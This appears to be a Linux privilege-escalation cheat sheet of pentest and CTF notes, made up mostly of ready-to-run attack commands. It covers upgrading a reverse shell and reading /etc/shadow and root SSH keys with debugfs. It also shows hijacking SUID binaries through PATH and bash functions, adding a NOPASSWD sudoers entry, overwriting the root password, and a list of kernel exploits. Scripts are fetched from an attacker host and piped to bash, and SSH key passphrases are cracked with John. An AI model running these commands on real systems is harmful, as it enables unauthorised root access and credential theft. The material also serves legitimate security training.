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Linux-Privilege-Escalation

Tips and Tricks for Linux Priv Escalation

Fix the Shell:

python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Kali Note the number of rows and cols in the current terminal window
$ stty -a  

# Next we will enable raw echo so we can use TAB autocompletes 
$ stty raw -echo
$ fg

# In reverse shell
$ stty rows <num> columns <cols>
   
# Finally
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color

Start with the basics

Who am i and what groups do I belong to?
id

Who else is on this box (lateral movement)?
ls -la /home
cat /etc/passwd

What Kernel version and distro are we working with here?
uname -a
cat /etc/issue

What new processes are running on the server (Thanks to IPPSEC for the script!):

#!/bin/bash

# Loop by line
IFS=$'\n'

old_process=$(ps aux --forest | grep -v "ps aux --forest" | grep -v "sleep 1" | grep -v $0)

while true; do
  new_process=$(ps aux --forest | grep -v "ps aux --forest" | grep -v "sleep 1" | grep -v $0)
  diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>]
  sleep 1
  old_process=$new_process
done

We can also use pspy on linux to monitor the processes that are starting up and running:
https://github.com/DominicBreuker/pspy

Check the services that are listening:

ss -lnpt

What can we EXECUTE?

Who can execute code as root (probably will get a permission denied)?
cat /etc/sudoers

Can I execute code as root (you will need the user's password)?
sudo -l

What executables have SUID bit that can be executed as another user?
find / -type f -user root -perm /u+s -ls 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

Do any of the SUID binaries run commands that are vulnerable to file path manipulation?
strings /usr/local/bin/binaryelf
mail
echo "/bin/sh" > /tmp/mail cd /tmp
export PATH=.
/usr/local/bin/binaryelf

Do any of the SUID binaries run commands that are vulnerable to Bash Function Manipulation? strings /usr/bin/binaryelf
mail function /usr/bin/mail() { /bin/sh; }
export -f /usr/bin/mail
/usr/bin/binaryelf

Can I write files into a folder containing a SUID bit file?
Might be possible to take advantage of a '.' in the PATH or an The IFS (or Internal Field Separator) Exploit.

If any of the following commands appear on the list of SUID or SUDO commands, they can be used for privledge escalation:

Note: You can find an incredible list of Linux binaries that can lead to privledge escalation at the GTFOBins project website here:
https://gtfobins.github.io/

Can I access services that are running as root on the local network?
netstat -antup
ps -aux | grep root

Are there any active tmux sessions we can connect to?
tmux ls

What can we READ?

What files and folders are in my home user's directory?
ls -la ~

Do any users have passwords stored in the passwd file? cat /etc/passwd

Are there passwords for other users or RSA keys for SSHing into the box?
ssh -i id_rsa root@10.10.10.10

Are there configuration files that contain credentials?

Are any of the discovered credentials being reused by multiple acccounts?
sudo - username
sudo -s

Are there any Cron Jobs Running?
cat /etc/crontab

What files have been modified most recently?
find /etc -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r
find /home -type f -mmin -60
find / -type f -mtime -2

Is the user a member of the Disk group and can we read the contents of the file system?
debugfs /dev/sda
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Is the user a member of the Video group and can we read the Framebuffer?
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

Where can we WRITE?

What are all the files can I write to?
find / -type f -writable -path /sys -prune -o -path /proc -prune -o -path /usr -prune -o -path /lib -prune -o -type d 2>/dev/null

What folder can I write to?
find / -regextype posix-extended -regex "/(sys|srv|proc|usr|lib|var)" -prune -o -type d -writable 2>/dev/null

Root SSH Key If Root can login via SSH, then you might be able to find a method of adding a key to the /root/.ssh/authorized_keys file.

cat /etc/ssh/sshd_config | grep PermitRootLogin

Add SUDOers If we can write arbitrary files to the host as Root, it is possible to add users to the SUDO-ers group like so (NOTE: you will need to logout and login again as myuser):
/etc/sudoers

root    ALL=(ALL:ALL) ALL
%sudo   ALL=(ALL:ALL) ALL
myuser	ALL=(ALL) NOPASSWD:ALL  

Set Root Password We can also change the root password on the host if we can write to any file as root:
/etc/shadow

printf root:>shadown
openssl passwd -1 -salt salty password >>shadow

Kernel Exploits

Based on the Kernel version, do we have some reliable exploits that can be used?

UDEV - Linux Kernel < 2.6 & UDEV < 1.4.1 - CVE-2009-1185 - April 2009

Ubuntu 8.10  
Ubunto 9.04  
Gentoo  

RDS - Linux Kernel <= 2.6.36-rc8 - CVE-2010-3904 - Linux Exploit -

Centos 4/5

perf_swevent_init - Linux Kernel < 3.8.9 (x86-64) - CVE-2013-2094 - June 2013

Ubuntu 12.04.2  

mempodipper - Linux Kernel 2.6.39 < 3.2.2 (x86-64) - CVE-2012-0056 - January 2012

Ubuntu 11.10
Ubuntu 10.04  
Redhat 6  
Oracle 6  

Dirty Cow - Linux Kernel 2.6.22 < 3.2.0/3.13.0/4.8.3 - CVE-2016-5195 - October 2016

Ubuntu 12.04
Ubuntu 14.04
Ubuntu 16.04

KASLR / SMEP - Linux Kernel < 4.4.0-83 / < 4.8.0-58 - CVE-2017-1000112 - August 2017

Ubuntu 14.04
Ubuntu 16.04

Great list here: https://github.com/lucyoa/kernel-exploits

Automated Linux Enumeration Scripts

It is always a great idea to automate the enumeration process once you understand what you are looking for.

LinEmum.sh

LinEnum is a handy method of automating Linux enumeration. It is also written as a shell script and does not require any other intpreters (Python,PERL etc.) which allows you to run it file-lessly in memory.

First we need to git a copy to our local Kali linux machine:

git clone https://github.com/rebootuser/LinEnum.git

Next we can serve it up in the python simple web server:

root@kali:~test# cd LinEnum/
root@kali:~test/LinEnum# ls
root@kali:~test/LinEnum# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

And now on our remote Linux machine we can pull down the script and pipe it directly to Bash:

www-data@vulnerable:/var/www$ curl 10.10.10.10/LinEnum.sh | bash

And the enumeration script should run on the remote machine.

CTF Machine Tactics

Often it is easy to identify when a machine was created by the date / time of file edits. We can create a list of all the files with a modify time in that timeframe with the following command:

find -L /  -type f -newermt 2019-08-24 ! -newermt 2019-08-27 2>&1 > /tmp/foundfiles.txt

This has helped me to find interesting files on a few different CTF machines.

Recursively searching for passwords is also a handy technique:

grep -ri "passw" .

Wget Pipe a remote URL directory to Bash (linpeas):

wget -q -O - "http://10.10.10.10/linpeas.sh" | bash

Curl Pipe a remote URL directly to Bash (linpeas):

curl -sSk "http://10.10.10.10/linpeas.sh" | bash

Using SSH Keys

Often, we are provided with password protected SSH keys on CTF boxes. It it helpful to be able to quicky crack and add these to your private keys.

First we need to convert the ssh key using John:

kali@kali:~/.ssh$ /usr/share/john/ssh2john.py ./id_rsa > ./id_rsa_john
...

Next we will need to use that format to crack the password:

/usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt ./id_rsa_john

John should output a password for the private key.

References

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
http://www.hackingarticles.in/linux-privilege-escalation-using-exploiting-sudo-rights/
https://payatu.com/guide-linux-privilege-escalation/
http://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/
http://www.0daysecurity.com/penetration-testing/enumeration.html
https://www.rebootuser.com/?p=1623#.V0W5Pbp95JP
https://www.doomedraven.com/2013/04/hacking-linux-part-i-privilege.html
https://securism.wordpress.com/oscp-notes-privilege-escalation-linux/
https://haiderm.com/linux-privilege-escalation-using-weak-nfs-permissions/
http://hackingandsecurity.blogspot.com/2016/06/exploiting-network-file-system-nfs.html
https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt https://hkh4cks.com/blog/2017/12/30/linux-enumeration-cheatsheet/
https://digi.ninja/blog/when_all_you_can_do_is_read.php
https://medium.com/@D00MFist/vulnhub-lin-security-1-d9749ea645e2
https://gtfobins.github.io/
https://github.com/rebootuser/LinEnum